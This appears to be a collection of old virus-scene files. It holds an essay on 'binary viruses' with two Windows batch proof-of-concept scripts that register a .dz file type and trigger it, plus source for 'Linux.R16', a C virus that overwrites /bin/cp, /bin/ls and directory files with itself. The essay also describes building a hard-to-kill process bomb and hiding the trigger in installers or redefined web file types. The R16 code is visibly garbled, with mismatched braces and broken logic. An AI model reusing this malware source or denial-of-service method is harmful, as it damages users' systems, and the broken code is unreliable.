HI0CREpeGPt8AkCLsjTfzqgzYMWpr7K9YAnzlhV/9EPCZaTfIbRT6uREzxyBrt2K
ntorM1KUgGmmpiPDPGg0H2boevX0XhU0nqThXM4bIqH9AWr55h9kiZTN4kCM717y
NM7mym+McJavMwqgG9Ehdbhunp7ez/saMmL5UAcABRG0Jk1hc2tCaXRzL1ZYSSA8
bWFza2JpdHNAY3Jvc3N3aW5kcy5uZXQ+iQEVAwUQOeDW58/7GjJi+VAHAQFQOwf9
GbEpvJOC5eotRiF6MnkKgZACADyWM6U9NjDRLtD1TxmPGQOCxplJaxYY/cU4o6S1
QBK3uX9Maac/q/miaTmsNb5quijTPmbQ1h9q1BqtsLvRlvmTpUjMhTb2/qiASB+Y
8ZTrn9L1zkVYuA5t23eAVQR5dKVWBdPrmCkYOH5lcm3G/kSdnwAt50LCiA4bqhlC
4HSl2HxW0+bTIdc/Iddcm380NoH1BzhjmRSY9fI3vPYWmsrBEgNpDShr+TAPr1PF
VWpt+o2jgId9assancEvj6rgrLeHnG+3jzudflUp3M6lF5x4Urjg5OXETDCPSmJ+
4l3G3HBiUYT9X9iwm8TQqg==
=1J7x
-----END PGP PUBLIC KEY BLOCK-----
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PIRUS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BINVIRUS.TXT]ÄÄÄ
Binary Viruses:
===============

To my life's woman

1. Abstract:
---------

I would not be wrong if I say that the one reading this paper knows 'Imposible Mission'
movies. Obviously, I don't want to discuss its artistic details, likes or dislikes. But,
what we surely all agree about these films, is the technological power they show. It is
amazing, we were thinking that it was not possible to overcome James Bond's gadjets ...
But we were definitely wrong ... Once again, Ethan Hunt was showing that it is always
possible to go one step beyond.

At this moment, I would like to recall that 'two-flavoured chewing gum' that Ethan Hunt
was given at 'Imposible Mission I'. That gum was nothing but a binary plastic explosive.
Each of those flavours were harmless when they were alone, but terribly powerful when
joined together. In this case, the movie-star had only 5 seconds left to scape before
the explosion took place.

Ok, as you can imagine, this paper is about to explain how to take this behaviour into
the digital world: the binary virues. The word 'virus' has been used on its widest
meaning. 'Virus' as the whole family of programs that share common goals: execute code
and expand over foreing machines entering them by more or less furtive means. The final
intention of that execution varies with the program itself.

Worms and Trojan Horses are, inside the virii world, the ones that better match the
scenarios we are going to discuss here. One binary worm it is the one structured in two
pieces, each one depends on the other to achieve the final goal what it was created for.
If we remove the ability to self-spread and self-reproduce, we would have a binary trojan.
On this particular case, the trojan would only manifest its presence and activity when the
the other part took place.

One binary virus is just another example of non-authorized code execution which can be
potentially harmful. Over the following pages, we will study what is a binary virus. We
will see one implementation example and will try to analyze possible enhancements and
future research paths.

2. Description: r0bin-&-m4rian
---------------------------

r0bin & m4rian are the names of each part of our demostrative example. It is a basic
example. It lacks of self-replication and self-spreading abilities and it is harmless to
the system it runs on. Actually, once activated, it shows the following message:

echo --------------------------------------
echo m4rian,
echo.
echo I love you more than I can say.
echo I wish I could give you all my life.
echo.
echo r0bin
echo --------------------------------------

r0bin & m4rian can only be run over Windows NT and Windows 2000. I have released nothing
for
Windows 9x because it is trivial. The fact that I focus on Windows platforms does not mean
that this model cannot be implemented on non-Microsoft systems (let's say Unix and the
like).

2.1 r0bin:

r0bin is the first part of the pair. It's mission is register a new file type on a
Windows system. To be more accurate, it registers a .DZ file type and binds it to the
system shell command-line interpreter. Besides that, it also binds the file type with
a user-familiar desktop icon.

2.2 m4rian:

m4rian is a .DZ file that gets executed by the system command-line interpreter when
launched by the user. Given self-spreading and self-reproducing capabilities, they
would be built inside m4rian. On our case, this part has not been implemented.

2.3 Hábitat and ability to survive:

As everyone can see, r0bin is the head and main part of the team. Without head, the
binary strategy is over.

This is the main problem and, at the same time, the main advantage of this approach.
Being required both parts, if one of them is not present, the other one goes useless,
or, being optimistic, held on waiting for the other to arrive.

When talking about plastic explosives, this is not a big problem, but it really is
on a distributed environment like a computer network. Both sides can reach to a system
on initially random moments with absolute independence. So, success is not guaranteed.

Besides that, it must be the user the one activating the bomb when trying to run
the .DZ file or that file type the worm's head had registered or redefined.

This point brings up specialization and modularity. It is fairly possible that


programmers start develop each part as separate entities. Even programmers themselves
needn't to be the same: ones creating r0bins and others programming m4rians with no
common goals between them. Each part can be thrown to the network on the wish of
finding the other side somewhere somehow on the Internet. We are talking about lot's
and lot's of possible m4rians for the same r0bin, and we are also refering to
versions of m4rians installing new r0bins and so on: a full chain of binary programms.

3. Present and Future:


-------------------

3.1 The doors, The incomming ways:

On the example shown before, r0bin is a .cmd file lacking any intention of hiding
itself from nobody. Nevertheless, in the case we want to introduce r0bin on one system
in a furtive manner, we can implement any or one subset of the well-known techniques
on the virii and trojan scene: inside an executable file (a patch, an installation
program, an active document, a multimedia presentation, etc.). Can you set gates to
imagination? ;)

r0bin's success is based on performing a legal operation on the user context running
it. That is why, its execution will be unnoticed to anyone on the system.

Opposite to this, m4rian needs to be a file of a certain type (as r0bin has registered
or defined). Well, ... this is not that true ... ;). Let's go on.
3.2 N-arian viruses. Weaknesses: Aquiles' toe:

May be you are wandering if n-arian viruses might exist. The answer is yes. But, due
to their strong dependency from external factors, nobody can guarantee their surviving.
In my honest opinion, they don't seem to be viable projects.

Though, 3-arian (ternarian) viruses, can result really interesting due to the
possibilities opened by code micro/emulation. On this particular case, r0bin, besides
installing the entry point to m4rian, would also drop and install the interpreter,
engine or virtual machine (VM) able to run m4rian successfully.

By code emulation we understand that either the languaje or the program code are
propietary. They can only be understood under the platform that the virus is by itself.
The same happens when considering the virtual machine approach: the bit-chain which is
in m4rian is p-code of an unknown, non-standard and proprietary VM. Only the virus
creator/owner knows its specificaion. To read more about micro/emulation, you can
read 'Microemulación y Seguridad': http://www.deepzone.org/editions/others/microem.htm

Then, on this particular case, we can assume a weaker but more powerful virus. Its
surviving possibilities decrease, but its ability to go unnoticed is considerably
greater.

3.3 More about code emulation:

Until this moment, we have seen how r0bin & m4rian have their code uncovered. This is
not positive. The essence of a binary virus is to pass unnoticed, so clear text code
is not desireable.

Computer science history shows lots of ways viruses use to hide themselves from
antivirus and protection systems sight. These techniques can be applyed to r0bin
without
restrictions. r0bin can be shipped inside any executable object.

Now, we have m4rian. How to or hide something that must be executed directly (shell
script code, WSH, VBA, etc.) and which is delivered to the victim as an stand-alone
file.

One first step to achieve m4rian's protection is micro/emulation, already explained.


But, let's try to introduce m4rian inside other object. This is also possible, but is
not that easy.

We could think on m4rian implementations living inside HTML note tags as part of a
new file type readable by the locally installed browser.

Let's suppose r0bin registers the extension .DZHTML. We should also have registered the
proper MIME type to have the browser read the file. In this case, we need to process
the note tags before the browser takes place.

One option is to use emulation and have r0bin install an interpreter on the system.
This component would give control to the browser inmediatly after processing note tags.
To achieve it, it would be as easy as calling the interpreter at the 'open' action of
the MIME type assigned to .DZHTML.

Depending on the source of m4rian's file would be necessary to set the MIME type also
on the server side. But, of course, this is not a compolsory restriction.

Now, let's think for a while the case of redefining the .HTML file type and its MIME
type definition ... ;)

We can create similar approaches to different data types. The web case is specially
interesting because allows m4rian to come from completely unexpected sources.

3.4 Other entry points

r0bin & m4rian take the file type registration as the entry point. Nevertheless,
Windows
registry, INI files, INF files, etc. are full of surprises to be discovered and
operations
that any user can legaly perform remaining unnoticed to any looker eyes.

It is fairly possible that, over the following months, we assist to new ways of
creating an
entry point and interesting binary exercises.

3.5 Side Effects

Depending on how the file type registration has been made, it is very easy to create
an endless recursive process. This will lead to process creation and progressive
memory usage on the operating system: a clasic process bomb. This is one of the
undesireable effects of r0bin & m4rian: a delayed bomb.

Let's see an example: if when registering the .DZ file type, we select as the program
to be launched to read that file: "CMD /C %1", this is, step by step, what will happen:

i. On trying to lauch the .DZ file, the system will look up for that file type on
on the registry.
ii. The system finds one entry for .DZ file type and tries to execute the program
associated to it
iii. The system creates a new process.
iv. Over that new process, the system will launch CMD.EXE.
v. CMD.EXE will try to execute 'm4rian.dz', which is the file he was given as first
parameter (%1).
vi. We return to step 1 until system resources get exhausted.

This situation appears on every case where the file type registration follows the
structure: <ext> => <program> <parameter.ext>. So, if we don't want r0bin & m4rian to
enter an infinite loop, we need to introduce an end condition inside r0bin. One option
is to rename the file hosting m4rian and then run the renamed version.

[ cmd /c move /y %1 r0bin-m4rian.cmd && r0bin-m4rian.cmd ]

On the other side, if what we really want is to create a process bomb, methods for
faster resource exhaustion can be studied, to minimize the victim's ability to stop it:
achieving geometric or logaritmic growth insted linear. Other point to take into
account
is to achieve process persistency to be able to block the resources it owns. For
example,
when talking about 'CMD /C', the process chain can be terminated by the user. But,
running 'CMD /K' would make the user to kill each process one by one to free the
resources
blocked by them.

4. Detection, protection and removal:


----------------------------------

r0bin is, clearly, the weakest point on the binary chain. Killed the head, killed the
tail. To make things easier, r0bin comes as or with executable content.

Privilege management on NT systems is useless most of the times, taking into account that
r0bin performs a legal operation for a plain user on a system. Windows 2000 'Users' group
cannot perform this kind of operations, so r0bin cannot run successfully under this
credentials. But, Windows 2000 is shipped with the 'Power Users' group as a backward
compatibility feature with NT 4 systems. This group has been granted with the same
permissions
the NT 4 'Users' group used to own. This is due to compatibility issues with legacy
applications. So, one member of the 'Power Users' group under Windows 2000 can run r0bin
successfully. Needn't to say that all Windows 9x systems are also affected.

Over Windows 2000, applications must follow the 'Windows 2000 Application Specification
Requirements'. When one application doesn't match this specification, there is no guarantee
about wheter that application can run successfully as a plain user under Windows 2000. This
is the case with lot of software developed for NT4 or earlier and currently running on
production environments. That is the reason why, on many systems, users have more
privileges
than those assigned by Windows 2000 by default. To look more information about this
particular aspect: www.microsoft.com/technet/win2000/win2ksrv/technote/secdefs.asp

Of course, it is trivial for an Antivirus to implement a new monitoring procedure looking


into the file type table. Just another point to note into a Security Policy. ;)

5. Conclussion:
------------

The success of this kind of creatures will be determined by this two factors:

1. The reaction shown by the Antivirus Companies

2. How mature the users are on their use of the technology.

Unfortunately, the amount of Win9x users is really big, and the domestic uses of NT and
2000 is far long from responsible: the use and managing of privileges is not the
appropriate.

Anyway, binary worms and trojans are weak creatures. Time will say the role this kind of
programs will play on the virii ground.

--------------------------
Nemo - Nemo@deepzone.org

www.deepzone.org
DeepZone Digital Security
"The Deepest, The Highest"
--------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BINVIRUS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[R0BIN.CMD]ÄÄÄ
@echo off
cls

rem --------------------------------------------
rem r0bin v1.0 - 2000/10/22
rem Nemo@deepzone.org
rem
rem To my beloved girl. I love you more than I
rem can say. Wish I could give you all my life.
rem
rem Script description:
rem Automatic registration of a new file type
rem for the current user profile.
rem
rem Files required:
rem associate-nt4.exe - NT4 Resource Kit
rem associate-w2k.exe - Win2k Resource Kit
rem
rem IMPORTANT NOTES:
rem This script is not a trojan horse nor an
rem i-worm. It is a 'proof-of-concept' to
rem show a new way to spread and run
rem potentially harmful code on any Windows
rem machine.
rem --------------------------------------------

rem Script variables


rem set CMD2run="cmd /c" ;Useful to create a DoS. This generates an infinite loop.
set CMD2run="cmd /c move /y %%1 r0bin-m4rian.cmd && r0bin-m4rian.cmd"
set ToolsDir=e:\data\deepzone\tests
set OStype=Win2k

rem Installing r0bin head


if not exist "%SystemDrive%\Documents and Settings" set OStype=NT4

if %OStype% == NT4 %ToolsDir%\associate-nt4.exe .dz %CMD2run% /q /f > nul


if %OStype% == Win2k %ToolsDir%\associate-w2k.exe .dz %CMD2run% /q /f > nul

rem Releasing script variables


set CMD2run=
set ToolsDir=
set OStype=
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[R0BIN.CMD]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[M4RIAN.DZ]ÄÄÄ
@echo off
cls

rem --------------------------------------------
rem m4rian v1.0 - 2000/10/22
rem Nemo@deepzone.org
rem
rem To my beloved girl. I love you more than I
rem can say. Wish I could give you all my life.
rem
rem Script description:
rem Displays a message on the console and
rem removes the file registration previously
rem installed by r0bin.
rem
rem Files required:
rem associate-nt4.exe - NT4 Resource Kit
rem associate-w2k.exe - Win2k Resource Kit
rem
rem IMPORTANT NOTES:
rem This script is not a trojan horse nor an
rem i-worm. It is a 'proof-of-concept' to
rem show a new way to spread and run
rem potentially harmful code on any Windows
rem machine.
rem --------------------------------------------

rem Script variables


set ToolsDir=e:\data\deepzone\tests
set OStype=Win2k

echo --------------------------------------
echo m4rian,
echo.
echo I love you more than I can say.
echo I wish I could give you all my life.
echo.
echo r0bin
echo --------------------------------------
echo.

rem UnInstalling r0bin head


if not exist "%SystemDrive%\Documents and Settings" set OStype=NT4

if %OStype% == NT4 %ToolsDir%\associate-nt4.exe .dz /d /f > nul


if %OStype% == Win2k %ToolsDir%\associate-w2k.exe .dz /d /f > nul

rem Releasing script variables


set ToolsDir=
set OStype=

rem Final notes ;)


echo ________________________________________
echo r0bin and m4rian successfully executed !
echo binary concept proved.
echo.
echo Nemo@deepzone.org
echo DeepZone Digital Security
echo www.deepzone.org
echo.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[M4RIAN.DZ]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[R16.CPP]ÄÄÄ
// ---------------------------
// Linux.R16 by Radix16[MIONS]
// ---------------------------
//
//!!!!!!!!!!!!!!!!!!!!!!!!!
//!rewrite all filez virus!
//!!!!!!!!!!!!!!!!!!!!!!!!!
//
// This is my mini first virus for Linux
// I love Linux and spice ,sux all win product :)
//
// Text print in text rezim
//
// ------------------------------
// - Linux.R16 by Radix16[MIONS]-
// - I'am virus for Linux :) -
// - Made in Czech republic -
// ------------------------------
//
// ------------
// Contact meee :
// ------------
// Radix16.cjb.net
// Radix16@Atlas.cz
//
// -----------
// How compile :
// -----------
// gcc radix.cpp
//
// -------------
// Start my code :
// -------------

// Include filez
#include <stdio.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>

#define VirusSize 59100

int main(int argc,char *argv[]) { // Main program

ssize_t ret;
int handle, bytes , retn;
char *buff[256];
char *ch,virus[VirusSize];
struct dirent *dirp;
DIR *dp;
char pathname[1024];

handle = open(argv[0],O_RDONLY);
read(handle,virus,VirusSize);
handle = creat ("/usr/sexloader",7);
if (handle == -1) {
printf("uf!");
}
write(handle,virus,VirusSize);

handle = creat ("/bin/cp",7);


if (handle == -1) {
printf("ou!");

write(handle,virus,VirusSize);

handle = creat ("/bin/ls",7);


if (handle == -1) {
printf("Shit!");

write(handle,virus,VirusSize);

handle = open("/usr/tmp001x.not",O_RDWR);
if (handle == -1) {
handle = creat ("/usr/tmp001x.not",0);
if (handle == -1) {

ret = write(handle, "Contact me:"


"\n\n"
"Radix16.cjb.net"
"\n"
"Radix16@atlas.cz",11+2+15+1+16);
if (ret == -1) {

exit(0);
}

printf ("\n\n");
printf ("\t\t""Linux.R16 by Radix16[MIONS]" " \n");// (c)oded
printf ("\t\t""I'am free virus for Linux :)" "\n");// Print text (textrezim)
printf ("\t\t""Made in Czech republic" "\n");// My World
printf ("\n\n");

exit(retn);

if ((dp = opendir(".")) == NULL)


{
printf("hech!");
exit(1);
}

readdir(dp); readdir(dp);

while (1) {
if ((dirp = readdir(dp)) == NULL) {
closedir(dp);
return(0);

}
if (access(dirp->d_name,X_OK | W_OK) < 0) {
exit(-1);
}

handle = creat (dirp->d_name,7);


if (handle == -1) {
printf("zzz..");

write(handle,virus,VirusSize);

}
close(handle);

exit(retn);
// End program(virus)
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[R16.CPP]ÄÄÄ

You might also like